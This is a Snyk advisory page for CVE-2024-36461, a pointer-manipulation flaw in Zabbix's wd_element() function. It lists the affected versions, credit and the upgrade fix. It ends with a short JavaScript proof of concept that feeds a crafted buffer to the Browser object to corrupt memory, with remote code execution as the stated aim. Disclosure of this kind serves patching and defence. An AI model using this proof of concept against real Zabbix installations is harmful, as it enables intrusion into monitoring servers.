Uncontrolled Modification of Pointer Value Affecting zabbix/zabbix package, versions [,6.0.31rc1)[6.4.0,6.4.16rc1)[7.0.0alpha1,7.0.1rc1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published9 Aug 2024
- disclosed9 Aug 2024
- creditPavel Voit
Introduced: 9 Aug 2024
CVE-2024-36461 (opens in a new tab)How to fix?
Upgrade zabbix/zabbix to version 6.0.31rc1, 6.4.16rc1, 7.0.1rc1 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Modification of Pointer Value in the wd_element() function in browser_element.c. An attacker can manipulate memory pointers to corrupt memory contents via the JavaScript engine.
PoC
var browser = new Browser(Browser.chromeOptions());
var bypass = {};
bypass[atob('//9k')] = 'Memory location of this buffer will be used as zbx_wd_element_t';
bypass.navigate = browser.navigate;
bypass.navigate('remote code execution');